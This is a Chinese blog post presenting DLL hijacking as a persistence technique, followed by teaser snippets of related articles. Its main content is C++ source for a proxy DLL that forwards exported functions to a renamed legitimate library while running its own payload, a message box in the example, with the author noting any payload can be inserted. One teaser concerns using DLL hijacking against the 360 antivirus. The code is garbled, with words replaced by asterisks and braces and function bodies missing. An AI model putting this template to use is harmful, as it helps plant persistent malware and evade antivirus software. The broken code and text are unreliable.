持久化 DLL劫持

2022-07-15 02:36:10 字數 2561 閱讀 5115

通過篡改替換**原dll檔案來達到劫持。

假定我們要劫持的目標是 c:\temp\legit.dll

獲取 c:\temp\legit.dll 所有的匯出功能列表

建立惡意dll惡意。dll一旦被目標程序載入,就會執行有效負載

在惡意檔案.dll中,將legit.dll(這是我們要劫持的dll)重定向/**所有匯出的功能到legit1.dll(這是我們要劫持的dll,只是用乙個新名稱)

複製惡意檔案到c:\temp\legit.dll(同級目錄下)

此時,任何在legit.dll中呼叫任何匯出函式的程式都將執行您的惡意負載,然後將執行轉移到c:\temp\legit1.dll中相同的匯出函式。

為了讓實驗一目了然,這裡使用的c:\temp\legit.dll為我們自己建立

#include "pch.h"

bool apientry dllmain( hmodule hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

)return true;

}extern "c" __declspec(dllexport) void exportedfunction1(int a)

extern "c" __declspec(dllexport) void exportedfunction2(int a)

extern "c" __declspec(dllexport) void exportedfunction3(int a)

這裡我使用vs2019建立dll動態鏈結庫,然後把上訴**複製到源**中,假定編譯沒問題,可以在/release資料夾下看見legit.dll

這裡我們從**中可以看出有三個匯出功能函式

為了確保這是乙個有效的dll,我們可以呼叫exportedfunction1進行驗證

好了,現在讓我們建立惡意dlmalicious.dlll來**上面的匯出函式。

#include "pch.h"

#pragma comment(linker, "/export:exportedfunction1=legit1.exportedfunction1")

#pragma comment(linker, "/export:exportedfunction2=legit1.exportedfunction2")

#pragma comment(linker, "/export:exportedfunction3=legit1.exportedfunction3")

bool apientry dllmain( hmodule hmodule,

dword ul_reason_for_call,

lpvoid lpreserved

)case dll_thread_attach:

case dll_thread_detach:

case dll_process_detach:

break;

}return true;

}

dll中的關鍵部分是頂部的#pragma注釋,它告訴鏈結器將exportedfunction1、exportedfunction2、exportedfunction3匯出到模組legit1.dll。

另外為了直觀的顯示我們已經載入了惡意dll,這裡會進行提示「hi from malicious dll」,此處也能插入任意payload。

我們測試一下該dll是否正常。

上面的操作一切完成後,現在我們把兩個dll放到同一目錄下重新命名,然後我們呼叫合法legit.dll.exportedfunction1,看是否會顯示malicious.dll中的提示語。

DLL劫持原理

系統有一套標準的搜尋dll路徑的規則,這套規則又分為兩種搜尋模式,安全搜尋模式,非安全搜尋模式。預設情況下啟用安全dll搜尋模式。要禁用此功能,需建立hkey local machine system currentcontrolset control session manager safedll...

DLL補丁劫持製作

dll 由於輸入表中只包含 dll 名而沒有它的路徑名,因此引導程式必須在磁碟上搜尋 dll 檔案。首先會嘗試從當前程式所在的目錄載入 dll,如果沒找到,則在windows 系統目錄中查詢,最後是在環境變數中列出的各個目錄下查詢。利用這個特點,先偽造乙個系統同名的 dll,提供同樣的輸出表,每個輸...

dll劫持破壞360

說起dll劫持技術,相信大家都不會陌生,因為這種技術的應用比較廣泛,比如 木馬後門的啟動 破解程式的記憶體補丁 外掛程式外掛程式的注入以及加密狗的模擬 等。之所以dll劫持技術深受黑客們的喜愛,主要是因為該技術可以有效的躲過大部分殺軟,並且實現起來技術難度不大。dll劫持技術也不是什麼新技術,記得在...